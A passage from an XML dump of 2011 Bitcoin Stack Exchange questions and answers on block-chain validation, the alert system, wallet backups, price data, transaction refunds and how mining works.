LastActivityDate="2011-09-08T03:23:04.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="739" PostTypeId="2" ParentId="733" CreationDate="2011-09-08T03:27:26.653" Score="4" Body="&lt;p&gt;I think if this became extensive, this would destabilize the entire network. Since nobody wants that, it won't become extensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most fundamental thing the client does is decide what the current valid block chain is. Suppose I see two competing hash chains on the network. How can I know which one I should follow? The answer is to first make sure both chains are &lt;em&gt;valid&lt;/em&gt; -- an invalid block chain can never win. How can I validate the hash chain if I can't make sure each transaction input in it validly claims a previous transaction's output? How can I do that without a full transaction table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I see a transaction that claims someone sent me 50 Bitcoins. How can I determine those 50 Bitcoins are in fact valid? Well, I have to make sure that each input in that transaction validly claims an output from a previous transaction. How can I do that if I don't have the full transaction set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, a client cannot determine if it has received funds if it does not have access to a map of every unclaimed transaction output indexed by transaction ID.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-08T03:27:26.653" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="740" PostTypeId="1" AcceptedAnswerId="766" CreationDate="2011-09-08T04:42:16.283" Score="6" ViewCount="170" Body="&lt;p&gt;Since we established &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/636/is-the-alert-system-still-in-the-main-clients-code-will-it-be-removed/711#711&quot;&gt;the alert system is included in the official client&lt;/a&gt;, I would like to know who can trigger the alert system, and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this system be spammed (activated 1000s times per second) thus disabling any use of the client? (Because he would get annoying popups all the time)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-08T18:57:30.183" Title="How can the alert system be triggered? Who can do it?" Tags="|client|alert-system|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="741" PostTypeId="1" CreationDate="2011-09-08T04:45:57.163" Score="-3" ViewCount="332" Body="&lt;p&gt;&lt;a href=&quot;http://www.quora.com/Bitcoin/Is-the-cryptocurrency-Bitcoin-a-good-idea/answer/Adam-Cohen-2&quot; rel=&quot;nofollow&quot;&gt;http://www.quora.com/Bitcoin/Is-the-cryptocurrency-Bitcoin-a-good-idea/answer/Adam-Cohen-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someone who studied Economics before Computer Science, to me this answer raises some very valid points. In order to be widely adopted, Bitcoin needs to have the unconditional trust of the people. Is Adam Cohen right?&lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2011-09-08T05:19:01.917" Title="Is the cryptocurrency Bitcoin a good idea?" Tags="|bitcoin-economy|" AnswerCount="1" CommentCount="2" ClosedDate="2011-09-08T05:08:14.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="742" PostTypeId="2" ParentId="741" CreationDate="2011-09-08T04:56:09.287" Score="4" Body="&lt;p&gt;Adam Cohen is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Seeding Initial Wealth&lt;/strong&gt;: If you're jealous of the early adopters, become one. If we assume Bitcoins fail, who cares who adopts when? If they succeed, then it's still early. As for mining being random or useless, no, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining#154&quot;&gt;miners are paid for securing transactions&lt;/a&gt;. The way Bitcoins work, seeding initial wealth is a side-effect of the distributed transaction resolution system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Built In Deflation&lt;/strong&gt;: He repeats the idea that the set of early adopters is fixed. If Bitcoins last long enough for the deflation to happen, you can still be an early adopter since it's still very early. (And they actually won't &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/66/will-deflation-destroy-bitcoin&quot;&gt;deflate&lt;/a&gt; because the money supply will be inflated by things like fractional reserves, mortgages, and the like just like other currencies are.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lack of Convertibility&lt;/strong&gt;: I don't think a currency has to be able to act as a store of value. In fact, use as a store of value to some extent conflicts with use as a means of exchange. But in any event, Bitcoins are already reasonably convertible and as they become more popular, exchanges will increase as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When Something Goes Wrong, It Will Die&lt;/strong&gt;: Serious things have gone wrong with Bitcoins, including an exploited bug that let people create Bitcoins out of thin air. What happened? Everyone who cared about Bitcoins pulled together to fix the problem. But if you're really worried about this, the fix is simple -- don't use Bitcoins as a store of value, just use them as a means of exchange.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-09-08T05:19:01.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="744" PostTypeId="2" ParentId="740" CreationDate="2011-09-08T05:13:35.700" Score="2" Body="&lt;p&gt;&quot;Alert messages are signed with a private key that only I have.&quot; - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=898.0&quot; rel=&quot;nofollow&quot;&gt;Satoshi Nakamoto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a spam would be pretty pointless. It would take only a few hours at most before the alert system was disabled.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-08T05:13:35.700" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="745" PostTypeId="2" ParentId="730" CreationDate="2011-09-08T05:22:10.887" Score="16" Body="&lt;p&gt;I can't speak for what it does &lt;em&gt;every&lt;/em&gt; time but I just tested Mr. Schwartz's comment, so I can speak for what it did this &lt;em&gt;one&lt;/em&gt; time. I remote controlled a geographically distant machine running an identical copy of Bitcoin on it and my local PC (with identical wallets). I sent identical conflicting transactions for my entire balance within a few milliseconds of each other (atomic clock sync &amp;amp; timers - don't ask) and just as expected, both transactions showed in both clients at 0/unconfirmed and only one made it into a block. The other disappeared after a &lt;code&gt;-rescan&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curiously, after the &lt;code&gt;-rescan&lt;/code&gt; the second transaction doesn't even show in a &lt;code&gt;bitcoind listtransactions&lt;/code&gt; dump which seems odd to me. It seems like such erroneous transactions should be recorded and marked with a special status, similar to how orphaned block rewards are - this &lt;em&gt;is&lt;/em&gt; an accounting system after all and under certain circumstances this could be &quot;destroying evidence.&quot; I'll make a comment next time I'm on GitHub and see if someone bites.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-08T05:22:10.887" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="746" PostTypeId="1" AcceptedAnswerId="747" CreationDate="2011-09-08T05:57:36.177" Score="23" ViewCount="4776" Body="&lt;ul&gt;&#xA;&lt;li&gt;How often? Is backing it up once enough?&lt;/li&gt;&#xA;&lt;li&gt;Any best practices to storing the backup?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastEditorUserId="659" LastEditDate="2012-02-05T19:25:25.793" LastActivityDate="2013-01-12T08:51:48.313" Title="How should you backup your wallet?" Tags="|wallet|backup|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="747" PostTypeId="2" ParentId="746" CreationDate="2011-09-08T06:09:13.823" Score="16" Body="&lt;p&gt;The file you'll need to back up is &lt;code&gt;wallet.dat&lt;/code&gt; which can be found in &lt;code&gt;%appdata%\roaming\bitcoin&lt;/code&gt; on Windows or &lt;code&gt;~/.bitcoin&lt;/code&gt; on Linux/MacOSX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default a pool of 100 pre-generated, unused addresses is maintained in your wallet, and so it is safe to use 100 new addresses without backing up your wallet.  New addresses are used most times you send bitcoins and used as a &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/736/how-does-change-work-in-a-bitcoin-transaction&quot;&gt;change&lt;/a&gt;&quot; address, and also when you request a new receiving address. As you use new addresses, more are generated and added to the end of the pool.  Once you've used 100 since backing up, you'll start using addresses which aren't in the backup. To this end, the frequency of your backups is largely determined by the frequency of your transactions and this is largely a personal decision. If you absolutely cannot manage a backup every 100 transactions (why?) or are comfortable with a more aggressive schedule (and smaller wallet) there is a &lt;code&gt;-keypool&lt;/code&gt; option to change the number of addresses pre-generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best practices for storing wallet backups almost always include encryption. Most folks in the community swear by tools like &lt;a href=&quot;http://www.truecrypt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TrueCrypt&lt;/a&gt; for such purposes, though there are countless alternatives. Storage of the backup depends largely on how long-term the storage is intended to be and the security levels necessary. For small amounts of coin and short-term backups, online services like DropBox or Mozy might be adequate, assuming the wallet is encrypted before uploading. For longer-term or higher security backup, coins might be sent to an offline wallet stored in paper form at a physically secured location or any variation between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of your wallet backup methodology and schedule, it is ALWAYS a good idea to take some basic measures to &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;secure your wallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-02-07T00:41:20.827" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="748" PostTypeId="1" CreationDate="2011-09-08T08:15:16.147" Score="24" ViewCount="37316" Body="&lt;p&gt;Where can I get a time series of (date, bitcoin price in USD)? BitcoinCharts no longer provide historic data, only the last 20,000 samples.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="51948" LastEditDate="2018-01-18T23:01:29.897" LastActivityDate="2019-03-17T00:08:12.677" Title="Where can I get historic data series of Bitcoin prices?" Tags="|exchange-rate|historical-trade-data|" AnswerCount="10" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="749" PostTypeId="2" ParentId="696" CreationDate="2011-09-08T08:31:35.153" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;Check this out&lt;/a&gt; - the Country of Host charts shows a geo distribution of p2p clients over time. The site has loads of other interesting stats.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-09-08T09:39:27.307" LastActivityDate="2011-09-08T09:39:27.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="750" PostTypeId="1" AcceptedAnswerId="752" CreationDate="2011-09-08T08:49:42.500" Score="19" ViewCount="1245" Body="&lt;p&gt;I know this seems like a duplicate of the question 'Can a bitcoin transaction be reversed?' but none of the answers there were explicit enough as they all seemed to assume reversal triggered from the sending side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess a secondary part of my question is 'What would happen if a merchant just sent the funds back to any one of the input addresses that was used in the original transaction?' Would the  money be effectively returned to my control? &lt;/p&gt;&#xA;" OwnerUserId="253" LastEditorUserId="132" LastEditDate="2011-09-10T23:30:56.377" LastActivityDate="2011-09-10T23:30:56.377" Title="Can a bitcoin transaction be reversed from the receiving end?" Tags="|transactions|revert-transaction|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="751" PostTypeId="2" ParentId="748" CreationDate="2011-09-08T08:53:18.020" Score="16" Body="&lt;p&gt;EDIT: These links appear to no longer work&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can get it at &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoincharts&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://bitcoincharts.com/t/trades.csv?symbol=SYMBOL[&amp;amp;start=UNIXTIME][&amp;amp;end=UNIXTIME]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns a CSV file with the format:&lt;code&gt;unixtime,price,amount&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can use this link to get the MtGox prices since August:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1312174800&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2017-07-04T14:58:40.960" LastActivityDate="2017-07-04T14:58:40.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="752" PostTypeId="2" ParentId="750" CreationDate="2011-09-08T09:26:39.350" Score="20" Body="&lt;p&gt;When sending coins, the original Bitcoin client picks the more &quot;secure&quot; coins, i.e. the oldest ones that can be used as input for the transaction. Internally, it doesn't care about accounts, although it does of course keep track of each account's balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, sending coins back to an input address will only guarantee they will go back to the original &lt;em&gt;wallet&lt;/em&gt;, not necessarily the original &lt;em&gt;account&lt;/em&gt;, let alone the original &lt;em&gt;person&lt;/em&gt;. In many situations wallets are shared between different persons, e.g. in web services (online wallets, mining pools, etc.), so the difference is crucial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus if you're designing an application and you want to allow refund, you should absolutely &lt;strong&gt;not&lt;/strong&gt; rely on the sending address in your application design. Instead, allow people to give an email, a refund address, etc. at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're talking about the original Bitcoin client here. Although this behaviour is largely justified for security reasons, some current or future clients may not mix addresses between accounts and still be compliant at protocol level.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-09-08T09:26:39.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="754" PostTypeId="2" ParentId="731" CreationDate="2011-09-08T09:51:07.837" Score="5" Body="&lt;p&gt;Due to the nature of Bitcoin there is no precise answer to this question. However, this site displays some statistics on the number of nodes in the network over time: &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot;&gt;http://bitcoinstatus.rowit.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2011-09-08T09:51:07.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="755" PostTypeId="2" ParentId="731" CreationDate="2011-09-08T10:13:57.000" Score="2" Body="&lt;p&gt;Check out my answer to this question about geo data.&#xA;In fact, I would recommend creating one question about &quot;How can you get statistics about Bitcoin users / clients&quot; instead of asking about every different slicing of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/696/is-there-data-on-the-geographic-distribution-of-bitcoin-users/749#749&quot;&gt;Is there data on the geographic distribution of bitcoin users?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.reddit.com/r/bitcoin&lt;/a&gt; just crossed 10,000 users a few days ago (Sep 2012), to help you get some estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?action=stats&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?action=stats&lt;/a&gt; - Bitcointalk currently has 64,175 users.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-09-16T02:30:06.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="756" PostTypeId="2" ParentId="517" CreationDate="2011-09-08T12:29:19.477" Score="4" Body="&lt;p&gt;It all depends on your definition of what an online wallet is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make an online wallet service where the server side only knows your public keys and does all the heavy lifting required to track the block chain including the bookkeeping necessary to determine which transactions belong to your wallet. The client side is the only entity that has your private keys, and is the only one who can spend coins. &#xA;If the server side vanishes into thin air you can always take your private keys to another provider or import them into a classic client.&#xA;This kind of online wallet requires you to have a small piece of client side software running, such as a smart phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://code.google.com/p/bccapi/&quot; rel=&quot;nofollow&quot;&gt;BCCAPI&lt;/a&gt; is an example of such a service.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2011-09-08T12:29:19.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="757" PostTypeId="2" ParentId="52" CreationDate="2011-09-08T13:44:07.000" Score="6" Body="&lt;p&gt;Two researchers did a study on bitcoin at the Clique Research Cluster at University College Dublin. Their results say that bitcoin is not &lt;em&gt;inherently&lt;/em&gt; anonymous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot;&gt;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arxiv.org/abs/1107.4524&quot;&gt;http://arxiv.org/abs/1107.4524&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-09-08T13:44:07.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="758" PostTypeId="2" ParentId="32" CreationDate="2011-09-08T13:47:27.150" Score="2" Body="&lt;p&gt;Bitcoin by itself is a protocol. It is not an investment nor does it make any claims that you will get a financial return for using it. &lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-09-08T13:47:27.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="759" PostTypeId="2" ParentId="733" CreationDate="2011-09-08T14:30:57.733" Score="5" Body="&lt;p&gt;There is proof of concept work in progress right now to solve this problem.  Basically by creating hub nodes capable of handling many thousands of connections.  These hub nodes are in fact a proxy backed by a real satoshi bitcoin daemon.  This will relieve standard bitcoin nodes from a lot of the connections being used up by these 'selfish' nodes and allow them to continue operating as do now.  Mining pools will have a strong incentive to run hub nodes as it will speed up propogation of their generated blocks as well as ensure they have the best chance of getting new blocks as quickly as possible.&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2011-09-08T14:30:57.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="760" PostTypeId="2" ParentId="148" CreationDate="2011-09-08T14:53:05.110" Score="235" Body="&lt;p&gt;David Schwartz's answer is entirely accurate, but all that &quot;bitspeak&quot; might be a little intimidating to the average user.  Let me try and put it into more plain language:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way Bitcoin works is that instead of having one central authority who secures and controls the money supply (like most governments do for their national currencies), this work is spread out all across the network.  &lt;strong&gt;Most of the heavy lifting for Bitcoin is done by &quot;miners&quot;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners collect the transactions on the network (like &quot;Alice pays Karim 10 bitcoins&quot; and &quot;Liam pays Sofia 8.3 bitcoins&quot;) into large bundles called &lt;strong&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block&quot; rel=&quot;noreferrer&quot;&gt;blocks&lt;/a&gt;&lt;/strong&gt;.  These blocks are strung together into one continuous, authoritative record called the &lt;strong&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;noreferrer&quot;&gt;block chain&lt;/a&gt;&lt;/strong&gt;, which doesn't permit any conflicting transactions.  This is necessary because without it people would be able to sign the same bitcoins over to &lt;a href=&quot;http://en.wikipedia.org/wiki/Double-spending&quot; rel=&quot;noreferrer&quot;&gt;two different recipients&lt;/a&gt;, like writing cheques for more money than you have in your account.  &lt;strong&gt;The block chain lets you know for sure exactly which transactions count and can be trusted&lt;/strong&gt; (so no bad cheques!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way Bitcoin makes sure there is only one block chain is by making blocks really hard to produce.  So instead of just being able to make blocks at will, miners have to compute a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;noreferrer&quot;&gt;cryptographic hash&lt;/a&gt; of the block that meets certain criteria.  Bitcoiners refer to this process as &lt;strong&gt;&quot;hashing&quot;&lt;/strong&gt;.  The only way to find a cryptographic hash that's &quot;good enough to count&quot; is to try computing a whole bunch of them until you get lucky and find one that works.  This is the &quot;lottery&quot; that David Schwartz refers to, because miners who successfully create a block are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;rewarded some bitcoins according to a preset schedule&lt;/a&gt;.  The difficulty of the criteria for the hash is continually adjusted based on how frequently blocks are appearing, so &lt;strong&gt;more competition equals more work needed to find a block&lt;/strong&gt;.  Modern dedicated mining hardware (e.g. ASIC miners) can try trillions of hashes per second, so to be competitive in this race to find hashes miners need specialised hardware, otherwise they will tend to spend more on electricity than they make in the &quot;lottery&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the hash criteria, a block needs to contain only valid, non-conflicting transactions.  So &lt;strong&gt;the other main task for miners is to carefully validate all the transactions that go into their blocks&lt;/strong&gt;, otherwise they won't get any reward for their work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of all this work, when a Bitcoin client signs on to the network it can trust the block chain that was most difficult to produce (since this is evidently the one that was being worked on by the most miners).  If there was a &quot;fake&quot; blockchain competing with the real ones (say, where someone pretends that they didn't &lt;em&gt;actually&lt;/em&gt; give Sofia those 8.4 bitcoins and they still have them), the fraudster would have to do as much work as the whole rest of the network to make their block chain look as trustworthy.  So essentially, &lt;strong&gt;the intense work that goes into finding blocks through hashing secures the network against fraud&lt;/strong&gt;.  There is also, of course, some nifty code that figures out how to choose between conflicting transactions; and what to do if two people find valid blocks at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing:  &lt;strong&gt;why is it called mining?&lt;/strong&gt;  In the original analogy, people who performed this essential work were compared to gold miners digging the gold out of the ground so that everyone could use it.  But in reality, Bitcoin &quot;miners&quot; are just running computer programs on very specialised hardware that automates the process of securing the network.  To sum up, this software&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Collects transactions from the network&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Validates them, and doesn't allow conflicting ones&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Puts them into large bundles called &lt;a href=&quot;https://en.bitcoin.it/wiki/Block&quot; rel=&quot;noreferrer&quot;&gt;blocks&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Computes &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;noreferrer&quot;&gt;cryptographic hashes&lt;/a&gt; over and over until if finds one &quot;good enough to count&quot;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Then submits the block to the network, adding it to the block chain and earning a reward in return&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That's mining in a nutshell!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="13866" LastEditDate="2018-11-07T13:41:33.490" LastActivityDate="2018-11-07T13:41:33.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="761" PostTypeId="2" ParentId="639" CreationDate="2011-09-08T15:35:50.580" Score="0" Body="&lt;p&gt;TradeHill has international wire transfers and Paxum. They only charge $20 for incoming and outgoing international wire transfers while Paxum costs a dollar a transaction. Funds withdrawn or deposited via wire transfer should be available within a few business days. Paxum should be processed within a few hours (during EST business hours).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on deposits and withdrawals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tradehill.com/DepositOverview/USD/&quot; rel=&quot;nofollow&quot;&gt;https://www.tradehill.com/DepositOverview/USD/&lt;/a&gt;&#xA;https://www.tradehill.com/WithdrawOverview/USD/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt. Gox. does not offer withdraws via international wire transfer. They do accept incoming wires which can be sent to their account in Japan.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox#International_USD&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox#International_USD&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2011-09-08T15:35:50.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="762" PostTypeId="2" ParentId="126" CreationDate="2011-09-08T15:40:34.673" Score="9" Body="&lt;p&gt;You should definitely checkout &lt;a href=&quot;https://bitcoinnotify.com/&quot;&gt;https://bitcoinnotify.com/&lt;/a&gt; service. They work noticably different than the existing solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You provide a list of btcaddresses (of your own wallet!) to them&lt;/li&gt;&#xA;&lt;li&gt;They monitor all transactions in the network&lt;/li&gt;&#xA;&lt;li&gt;If they observe a transaction to one of your adresses you get a POST from their site with address, amount, timestamp, number of confirmations, ...&lt;/li&gt;&#xA;&lt;li&gt;You can specify how many confirmations are needed before you get the notification. Also multiple notifications are possible, e.g. at 1 and at 6 confirmations&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To implement this you need to keep track on your side which order is linked to which btc-address. When a payment is confirmed you can use the address again for the next order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No external wallet involved - All payments go DIRECTLY to your own wallet, so there is no way they can run with your money or get hacked or robbed etc.&lt;/li&gt;&#xA;&lt;li&gt;You can keep your wallet at any dedicated, highly secured separate system, no need to have it on or near your website&lt;/li&gt;&#xA;&lt;li&gt;If you want to take the risk of not waiting for confirmations you get the notification within seconds after the transaction has been issued from the customer (at least that's my personal experience)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope that soon similar services appear, so you could subscribe at multiple sites for notification. So there is no single point of failure anymore.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2011-09-08T15:40:34.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="763" PostTypeId="2" ParentId="726" CreationDate="2011-09-08T16:20:19.353" Score="1" Body="&lt;p&gt;there is a port available for freeBSD: &lt;a href=&quot;http://www.freshports.org/net-p2p/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.freshports.org/net-p2p/bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2011-09-08T16:20:19.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="764" PostTypeId="2" ParentId="641" CreationDate="2011-09-08T16:55:16.280" Score="0" Body="&lt;p&gt;I dont know how this could be built on top of the bitcoin protocol. Trust will be built by the community trading with each other because trust isnt needed with the bitcoin protocol itself amongst clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great example of an external web of trust being built by the community is the &lt;a href=&quot;http://bitcoin-otc.com/trust.php&quot; rel=&quot;nofollow&quot;&gt;bitcoin-otc&lt;/a&gt; database. The &lt;a href=&quot;http://bitcoin.crimeunit.net/wiki/index.php/Bitcoin_Police&quot; rel=&quot;nofollow&quot;&gt;bitcoin police&lt;/a&gt; is another group attempting to build upon this and it has its own set of tools. Having competing entities rating each other is the best way to ensure these trust databases are effective.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-09-08T16:55:16.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="765" PostTypeId="2" ParentId="750" CreationDate="2011-09-08T17:00:04.133" Score="4" Body="&lt;p&gt;(Just adding a somewhat important remark to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/750#752&quot;&gt;davux answer&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that free scripting for transactions will be soon activated in the real network, like it is currently in the test network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With scripts, it's possible to issue transactions that will go through completely different mechanisms than the simple one based on those standard bitcoin addresses we all know. In some cases, the receiving side might be &lt;strong&gt;unable to even find any addresses where to send the money back&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A “standard” bitcoin address should be considered as &lt;em&gt;one&lt;/em&gt; way to receive some bitcoins (and to spend those). It should not be considered as &lt;em&gt;the&lt;/em&gt; universal way to receive (or send) them. &lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-09-08T17:00:04.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
